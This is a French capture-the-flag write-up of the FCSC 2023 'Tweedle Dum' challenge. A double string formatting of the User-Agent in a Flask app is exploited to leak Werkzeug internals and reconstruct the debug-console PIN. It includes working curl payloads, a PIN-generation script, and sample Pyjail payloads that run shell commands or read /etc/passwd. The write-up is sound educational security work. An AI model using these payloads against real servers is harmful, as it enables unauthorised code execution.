Contents

FCSC 2023 - Tweedle Dum

Contents

Injection de format string Python : récupération de variables globales protégeant l’accès à la console de debug Werkzeug.

FCSC 2023 - Tweedle Dum

Au cours de ses aventures au Pays des merveilles, Alice a rencontré une curieuse paire de jumeaux : Tweedledee et Tweedledum. Les deux avaient créé un site web simpliste en utilisant Flask, une réalisation qui a suscité l’intérêt d’Alice. Avec son esprit curieux et son penchant pour la technologie, Alice ne pouvait s’empêcher de se demander si elle pouvait pirater leur création et en découvrir les secrets.

Les sources du challenge sont données.

Dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
FROM python:3.10-alpine
SHELL ["/bin/ash", "-eo", "pipefail", "-c"]
ARG FLAG=FCSC{ThisIsTheFl4g}
WORKDIR /app
COPY ./src/app.py /app/app.py
COPY ./src/templates /app/templates
COPY ./src/static /app/static
RUN pip install --no-cache-dir      \
        werkzeug==2.2.3             \
        flask==2.2.3             && \
    echo $FLAG > "/app/flag-$(head /dev/urandom | md5sum | head -c 32).txt"
USER guest
CMD ["flask", "run", "--host=0.0.0.0", "--port=2202", "--debug"]

src/app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from flask import Flask, request, render_template
from werkzeug.middleware.proxy_fix import ProxyFix
from werkzeug.debug import DebuggedApplication

# No bruteforce needed, this is just here so you don't lock yourself or others out by accident
DebuggedApplication._fail_pin_auth = lambda self: None
app = Flask(__name__)
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1)

@app.route("/")
def hello_agent():
    ua = request.user_agent
    return render_template("index.html", msg=f"Hello {ua}".format(ua=ua))

# TODO: add the vulnerable code here

La page d’accueil de l’application réfléchit l’User-Agent de la requête.

/img/fcsc-2023-tweedle-dum/index.png

Un commentaire HTML indique la présence d’une page /console. Il s’agit de la console de debug Werkzeug, protégée par un code PIN.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Tweedle Dum</title>
    <link rel="stylesheet" href="/static/style.css" />
  </head>
  <body>
    <main>
      <div id="bubble">{{msg}}</div>
    </main>
    <!-- <a href="/console">Werkzeug console</a> -->
  </body>
</html>

/img/fcsc-2023-tweedle-dum/console.png

D’après le Dockerfile, le flag est dans un fichier au nom aléatoire dans le répertoire /app du serveur. Pour lire ce fichier, on va sûrement devoir accéder à la console de debug, et donc trouver le PIN.

HackTricks nous parle de cette console et de comment est généré le code PIN par Werkzeug : https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug, ce qui est vérifiable dans le code sur Github

Pour retrouver le PIN, on a donc besoin des infos suivantes :

  • le nom de l’utilisateur qui exécute le serveur ;
  • le nom du module ;
  • le nom de l’application ;
  • le chemin de fichier absolu de l’application ;
  • la valeur retournée par uuid.getnode(), dérivée de l’adresse MAC de l’interface sur laquelle le serveur tourne.
  • la valeur retournée par get_machine_id(), qui est un condensat du contenu de plein de fichiers sur le serveur.

Une fois toutes ces valeurs obtenues, on est capable de générer le code PIN et d’accéder à la console en plaçant toutes ces valeurs dans un script tout fait.

En ayant accès au code du serveur et aux fichiers Docker utilisés pour le lancer, on a déjà les 4 premières valeurs dont on a besoin.

Dockerfile : USER guest => on a l’username.

app.py : app = Flask(__name__) => le nom du module et de l’application valent respectivement flask.app et Flask.

Le chemin absolu de app.py peut soit être deviné d’après le FROM python:3.10-alpine du Dockerfile, soit vérifié en lançant le Docker, soit obtenu en provoquant une erreur 500 sur l’application (la stack trace révèle le chemin du fichier). Celui-ci vaut /usr/local/lib/python3.10/site-packages/flask/app.py.

Il reste le plus dur, obtenir auprès du serveur les valeurs retournées par uuid.getnode() et get_machine_id(). Toutes les informations nécessaires se trouvent dans des fichiers du serveur, aussi plusieurs ressources sur Internet recommandent l’exploitation d’un path traversal pour en récupérer les contenus et reconstituer à la main les valeurs qui nous intéressent. Ces ressources semblent d’ailleurs considérer cette option comme la seule à notre disposition.

Le périmètre du challenge étant très concis, on comprend vite que ce n’est pas de cette façon que nous devrons procéder. Notre historique Burp nous montre tout de même des requêtes de la forme /console?__debugger__=yes&cmd=resource&f=<fichier> ; le paramètre GET f nous fait de l’œil mais ça se saurait probablement si une telle vulnérabilité existait dans une des versions les plus récentes de Werkzeug (2.2.3).

/img/fcsc-2023-tweedle-dum/f.png

Quelques tests écartent définitivement cette option.

La vulnérabilité à exploiter est bel et bien celle qui nous fait coucou depuis le début :

1
return render_template("index.html", msg=f"Hello {ua}".format(ua=ua))

L’utilisation d’une fstring et de la méthode format sur la même chaîne de caractères permet l’injection de code Python.

Si on envoie une requête au serveur avec bon{ua}jour comme User-Agent, il nous répond ça :

/img/fcsc-2023-tweedle-dum/payload0.png

La fstring est d’abord évaluée, puis le formatage est appliqué sur la variable ua contenue dans la string qui en résulte. En fait, peut importe l’ordre, le résultat est le même.

1
2
3
4
5
>>> ua = "bon{ua}jour"
>>> f"Hello {ua}"
'Hello bon{ua}jour'
>>> 'Hello bon{ua}jour'.format(ua=ua)
'Hello bonbon{ua}jourjour'
1
2
3
4
5
>>> ua = "bon{ua}jour"
>>> "Hello {ua}".format(ua=ua)
'Hello bon{ua}jour'
>>> f'Hello bon{ua}jour'
'Hello bonbon{ua}jourjour'

C’est un peu casse-tête au début, mais on réalise vite qu’il n’est pas nécessaire d’anticiper précisément quelle valeur résultera de ce double formatage, on peut se contenter d’injecter ce qu’on a envie d’obtenir :

1
2
$ curl -s https://tweedle-dum.france-cybersecurity-challenge.fr -H 'User-Agent: {ua.__class__}' | htmlq -t '#bubble'  
Hello <class 'werkzeug.user_agent.UserAgent'>

À ce stade on est tenté de se dire qu’il s’agit d’une énième Pyjail où le but est de remonter jusqu’à la classe Object, puis de trouver le sous-classe qui nous intéresse, d’importer os et de faire ce qu’on veut. Cette fois ce n’est pas le cas, pour la simple raison que notre Python n’est pas évalué dans le contexte d’un template Jinja2 mais pendant le formatage d’une chaîne de caractères.

L’utilisation d’une fstring et de la méthode format sur la même chaîne de caractères permet l’injection de code Python.

En réalité, dans ce contexte on ne peut pas vraiment injecter du code mais plutôt une expression. Concrètement, cela se traduit par l’impossibilité d’appeler des fonctions et c’est là toute la difficulté du challenge. Tous les payloads de Pyjails classiques ne pourront pas s’appliquer :

  • ().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen("ls").read()
  • ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
  • self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()

/img/fcsc-2023-tweedle-dum/payload1.png

La deuxième contrainte qui nous est imposée est le fait que notre payload doit commencer par ua, puisque c’est cette variable qui est formatée.

On doit donc se débrouiller avec ça pour récupérer les valeurs de uuid.getnode() et get_machine_id(). On a besoin que les résultats de ces fonctions soient stockés dans des variables globales par les librairies qui les calculent pour pouvoir les exprimer via un chemin d’attributs Python. Vérifions cela dans le code des librairies en question.

/img/fcsc-2023-tweedle-dum/source0.png

/img/fcsc-2023-tweedle-dum/source1.png

C’est bien le cas. Il y a des variables globales (_node et _machine_id) qui contiennent les informations que l’on cherche quelque part dans la mémoire du serveur, à nous de trouver notre chemin jusque là.

Pour ne pas y passer la semaine, on ne va évidemment pas s’adresser au serveur du challenge à chaque test. On pourrait simplement lancer des curl sur une instance locale ou travailler dans un interpréteur Python mais le problème est le même, ça prendrait des plombes d’interpréter les résultats et d’en tirer des conclusions.

La méthode la plus optimale semble de lancer le serveur Flask dans le debugger de VSCode (par exemple). Cela permettrait de profiter de la console de debug qui nous ferait significativement gagner en efficacité.

Le fichier .vscode/launch.json utilisé pour lancer le serveur Flask avec F5 dans VSCode est le suivant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Python: Flask",
            "type": "python",
            "request": "launch",
            "module": "flask",
            "env": {
                "FLASK_APP": "public/src/app.py",
                "FLASK_DEBUG": "1"
            },
            "args": [
                "run",
                "--debugger"
            ],
            "jinja": true,
            "justMyCode": true
        },
    ]
}

On met un breakpoint juste avant le formatage de l’User-Agent et l’évaluation du payload.

/img/fcsc-2023-tweedle-dum/breakpoint.png

On fait F5, le serveur se lance. Il faut bien vérifier dans l’output que le debugger est activé et qu’un code PIN est affiché pour être sûr que les valeurs qu’on recherche ont bien été calculées et qu’on ne cherche pas des variables dans le vide.

1
2
3
4
5
6
7
8
 * Serving Flask app 'public/src/app.py'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 568-259-887

Pour atteindre notre breakpoint il faut lancer une requête GET à la racine de notre serveur. Celui-ci se freeze et on peut inspecter les objets Python qu’il contient en mémoire dans un contexte similaire à celui dans lequel notre payload est évalué dans le challenge.

Pour rappel, on est obligé de commencer notre payload par ua sinon le formatage échoue, c’est donc notre point de départ.

/img/fcsc-2023-tweedle-dum/debug0.png

Sans possibilité d’exécuter des fonctions, rien n’est très intéressant dans les attributs de notre objet. En remontant dans les variables globales (__globals__) du constructeur de la classe werkzeug.user_agent.UserAgent (ua.__class__.__init__), on obtient tout de même quelque chose d’intéressant.

Le module typing est accessible. Les modules sont typiquement le genre de structure que l’on cherche car il peut nous permettre de rebondir sur une grande variété d’objets, contrairement aux sempiternels str, function, etc.

Bingo, l’expression ua.__class__.__init__.__globals__['t'] révèle la présence du module sys à l’intérieur, ce qui sent en général très bon.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
> ua.__class__.__init__.__globals__['t']
...
functools:
<module 'functools' from '/usr/lib/python3.10/functools.py'>
operator:
<module 'operator' from '/usr/lib/python3.10/operator.py'>
stdlib_re:
<module 're' from '/usr/lib/python3.10/re.py'>
sys:
<module 'sys' (built-in)>
types:
<module 'types' from '/usr/lib/python3.10/types.py'>
_AnnotatedAlias:
<class 'typing._AnnotatedAlias'>
_BaseGenericAlias:
<class 'typing._BaseGenericAlias'>
...

Dans le module sys on retrouve le dictionnaire modules, qui donne accès au module werkzeug.debug.

/img/fcsc-2023-tweedle-dum/debug1.png

Plus qu’à retrouver nos deux variables !

/img/fcsc-2023-tweedle-dum/debug2.png

/img/fcsc-2023-tweedle-dum/debug3.png

On envoie finalement au serveur ces deux expressions (on doit enlever les quotes pour accéder aux clés des dictionnaires, je ne sais pas trop pourquoi) :

  • {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
  • {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
1
2
3
4
$ curl -s https://tweedle-dum.france-cybersecurity-challenge.fr -H 'User-Agent: {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}' | htmlq -t '#bubble'
Hello b'ab1e1949-9e76-46d7-826f-f23f48081f7e'
$ curl -s https://tweedle-dum.france-cybersecurity-challenge.fr -H 'User-Agent: {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}' | htmlq -t '#bubble' 
Hello 2485378221058

La page Hacktricks sur Werkzeug fournit un script qui permet de retrouver le code PIN de la console. On remplace les données des listes probably_public_bits et private_bits et zou.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
    'guest',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485378221058',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'ab1e1949-9e76-46d7-826f-f23f48081f7e' # get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
1
2
$ python getpin.py 
166-338-144

Ce code donne bien accès à la console Werkzeug

/img/fcsc-2023-tweedle-dum/console1.png

On n’a plus qu’à déterminer le nom du fichier (aléatoire) contenant le flag et récupérer son contenu.

/img/fcsc-2023-tweedle-dum/flag.png